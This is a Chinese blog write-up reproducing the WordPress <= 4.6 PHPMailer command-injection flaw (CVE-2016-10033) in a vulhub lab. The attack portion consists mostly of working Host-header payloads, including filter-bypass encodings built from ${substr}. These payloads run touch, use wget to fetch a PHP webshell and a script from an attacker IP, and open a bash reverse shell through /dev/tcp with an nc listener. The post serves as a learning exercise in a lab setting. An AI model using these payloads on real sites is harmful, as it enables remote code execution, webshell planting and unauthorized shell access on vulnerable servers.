WordPress<= 4.6命令执行漏洞vulhub复现

WordPress <= 4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)

我很菜,所以会写得啰嗦一点哈

原理:
phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload
详情可见https://www.jianshu.com/p/85ac4af9f947

影响版本:
WordPress <= 4.6.0
PHPMailer < 5.2.18

环境:
使用vulhub的环境,所有要先安装vulhub
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum


复现过程:

要确保同网段,懒人直接选桥接模式
攻击机ip:192.168.2.209
靶机ip:192.168.2.234


在靶机上开启环境

cd vulhub/wordpress/pwnscriptum/
docker-compose up -d
#docker-compose up -d 以后台的方式运行容器

访问地址:http://ip:8080/wp-login.php

一直按照提示安装就好

 
漏洞点在忘记密码处
http://ip:8080/wp-login.php?action=lostpassword

注意:
1.执行的命令不能包含一些特殊的字符,例如:,’,"等。
2.该命令将转换为小写字母
3.该命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin

burp抓包放到重放模块

payload:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
#意思是在tmp处创建success文件

但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/
payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

payload替换后为:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)


我们再进入容器的tmp文件夹下看看

docker ps -a
docker exec -it id /bin/bash
#通过 docker ps -a 命令查看已经在运行的容器,然后使用容器 ID 进入容器

 发现执行命令成功

后续利用

一、写入webshell
攻击机ip:192.168.2.132
靶机ip:192.168.2.234

思路是先让攻击机开启web服务,写一个一句话木马文件,然后操控靶机利用curl或者wget命令下载远程文件,然后执行该文件,即可getshell。
攻击机开启web服务,懒人直接用phpstudy开启,linux的话开启Apache服务就行了,靶机确保是可以访问主机一句话文件的(注意关闭主机全部防火墙和杀毒软件)

 
payload:

aa(any-froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 192.168.2.132/2.txt}}null)
#上面的payload意思是:从192.168.2.132这个地址下载2.txt,保存到靶机的/var/www/html下,并命名为shell.php

替换后的payload:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}192.168.2.132${substr{0}{1}{$spool_directory}}2.txt}} null)

写入成功,用蚁剑连接


二、反弹shell
攻击机ip:192.168.2.132
靶机ip:192.168.2.234

思路和写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的
攻击机开启web服务,写反弹shell命令,先用靶机测试一下看看能不能访问,注意关闭防火墙

bash -i >&/dev/tcp/192.168.2.209/1234 0>&1
#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行

payload:

aa(any-froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.2.132/1.txt}}null)
#上面的payload意思是:从192.168.2.132这个地址下载1.txt,保存到靶机的/tmp下,并命名为shell

替换后的payload:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.2.132${substr{0}{1}{$spool_directory}}1.txt}} null)

写入成功


然后我们攻击机先监听1234端口
nc -lvp 1234


然后就是去执行这个文件了
payload:

aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

替换后的payload:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

放包后得到反弹shell


做完实验后就可以删环境了

docker-compose down

参考链接:

https://blog.csdn.net/weixin_45473613/article/details/108962034

https://blog.csdn.net/qq_45300786/article/details/115770201

https://www.cnblogs.com/ahtoh/p/15038658.html

https://www.cnblogs.com/blankunbeaten/p/14963533.html

https://blog.csdn.net/csacs/article/details/86776080

https://www.runoob.com/docker/docker-exec-command.html

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值